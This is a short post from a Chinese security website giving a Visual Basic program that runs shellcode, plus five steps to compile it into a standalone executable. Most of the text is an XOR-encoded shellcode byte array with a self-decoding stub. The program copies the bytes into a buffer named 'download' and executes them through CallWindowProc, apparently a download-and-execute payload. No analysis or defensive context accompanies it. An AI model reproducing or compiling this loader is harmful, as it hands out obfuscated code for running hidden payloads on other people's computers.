安基网 首页 安全 安全学院 查看内容

vb的shellcode示例代码

2009-8-7 12:17| 投稿: security


免责声明:本站系公益性非盈利IT技术普及网,本文由投稿者转载自互联网的公开文章,文末均已注明出处,其内容和图片版权归原网站或作者所有,文中所述不代表本站观点,若有无意侵权或转载不当之处请从网站右下角联系我们处理,谢谢合作!

摘要: Private Declare Function CallWindowProc Lib "user32" Alias "CallWindowProcA" (ByVal lpPrevWndFunc As...
Private Declare Function CallWindowProc Lib "user32" Alias "CallWindowProcA" (ByVal lpPrevWndFunc As Long, ByVal hWnd As Long, ByVal Msg As Long, ByVal wParam As Long, ByVal lParam As Long) As LongSub Main()Dim ShellCodeDim download() As ByteShellCode = Array(&HEB, &HE, &H5B, &H4B, &H33, &HC9, &HB1, &H9B, &H80, &H34, &HB, &HFE, &HE2, &HFA, &HEB, &H5, &HE8, &HED, &HFF, &HFF, &HFF, &H17, &H7B, &HFE, &HFE, &HFE, &HA1, &H9A, &H5F, &HCE, &HFE, &HFE, &HFE, &H75, &HBE, &HF2, &H75, &H8E, &HE2, &H53, &H75, &H96, &HF6, &H75, &H9, &H94, &HFC, &HA7, &H16, &HDB, &HFE, &HFE, &HFE, &H1C, &H7, &H96, &HCD, &HCC, &HFE, &HFE, &H96, &H8B, &H8D, &H9B, &H8C, &HAA, &H1, &HE8, &H75, &H16, &H94, &HFF, &HA7, &H16, &HF2, &HFE, &HFE, &HFE, &H1C, &H7, &HAF, &HA9, &HA9, &HAF, &H1, &HA8, &HF6, &H1, &HA8, &HFA, &HAF, &HA8, &H75, &H8B, &HC2, &H75, &H8A, &HD0, &H86, &HFD, &HB, &HA8, &H75, &H88, &HDE, &HFD, &HB, &HCD, &H37, &HB7, &HBF, &H53, &HFD, &H3B, &HCD, &H25, &HF1, &H40, &HEE, &HC4, &H28, &H8A, &HF6, &H3F, &H35, &HF9, &HFD, &H24, &HBE, &H15, &HF, &HC5, &HE1, &H8B, &H19, &HA0, &H75, &HA0, &HDA, &HFD, &H23, &H98, &H75, &HF2, &HB5, &H75, &HA0, &HE2, &HFD, &H23, &H75, &HFA, &H75, &HFD, &H3B, &H55, &HA0, &HA7, &H3D, &H16, &H88, &H1, &H1, &H1, &HCC, &H8A, &H6F, &HF2) ReDim download(UBound(ShellCode)) For i = 0 To UBound(ShellCode)     download(i) = ShellCode(i)Next CallWindowProc VarPtr(download(0)), ByVal 0&, ByVal 0&, ByVal 0&, ByVal 0& End Sub 编译步骤记录一下: 1.建立标准exe 2.删掉窗体 3.增加模块 4.粘贴代码 5.生成exe

小编推荐:欲学习电脑技术、系统维护、网络管理、编程开发和安全攻防等高端IT技术,请 点击这里 注册账号,公开课频道价值万元IT培训教程免费学,让您少走弯路、事半功倍,好工作升职加薪!



免责声明:本站系公益性非盈利IT技术普及网,本文由投稿者转载自互联网的公开文章,文末均已注明出处,其内容和图片版权归原网站或作者所有,文中所述不代表本站观点,若有无意侵权或转载不当之处请从网站右下角联系我们处理,谢谢合作!


鲜花

握手

雷人

路过

鸡蛋

相关阅读

最新评论

 最新
返回顶部